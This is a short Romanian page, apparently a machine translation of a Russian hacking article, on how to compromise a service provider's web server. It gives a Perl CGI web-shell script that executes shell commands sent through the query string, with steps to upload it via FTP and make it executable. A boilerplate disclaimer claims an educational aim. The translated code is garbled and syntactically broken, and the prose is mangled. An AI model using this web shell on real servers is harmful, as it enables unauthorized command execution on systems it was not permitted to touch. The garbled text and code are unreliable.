hacking furnizor

Ai nevoie pentru a scrie un perl script pentru gestionarea unui server al furnizorului de servicii (presupunând că ar fi www-serverul este instalat în dip dumneavoastră Apacheperl: cea mai populară opțiune). Nu-ți fie teamă să-l scrie foarte simplu. Okryvat notebook-aka notepad.exe :) și textul care urmează să fie gravat:

#! / Usr / bin / perl
Print "Content-type: text / htmlnn";

$ Cmd = $ ENV; # Desemnat variabila „cmd“ argument al scenariului.
@ Tmp = divizat (/% 20 /, $ cmd); # Configurarea o serie de „tmp“, care deține liniile întrerupte de goluri dintr-o variabilă „cmd“.
$ Cmd = alăture ( "", @ tmp); # Actualizați variabila „cmd“, înlocuind toate spațiile codificate browser (20%) în convențional.
@ Output = `$ cmd`; # Executa comanda „cmd“ pe server și scrie rezultă într-o serie de „ieșire“.

de imprimare "

n „;


foreach (@output) print "$ _"; # Imprimați rezultatul pe ecran.
>

Salvați acest miracol sub numele de „test.pl“ și zaley-l la server în ascii-mode (în caz contrar nu va funcționa nimic). Pentru a merge la ascii-mode, trimite o comandă server FTP: "tip A".

Este simplu. Script-ul este o instrucțiune care este transmis prin QUERY_STRING. Dar, înainte de a testa script-ul pentru a face executabil. Pentru a face acest lucru, schimba atributele sale la „755“ (dacă nu puteți găsi în cazul în care să-l schimbe, trimite comanda „site-ul chmod 755 test.pl“ pe server FTP.

VHIMAHIE. . Scopul acestui articol - pentru a arăta ppovaydepam posibile deficiențe ale sistemelor lor de siguranță și atenția lor ppivlech problema accesului nesanktsionipovannogo. Avtop nu este responsabil pentru orice consecințe cauzate de tvopcheskim înțelegere matepiala a cititorilor.

Site-ul creat în sistemul uCoz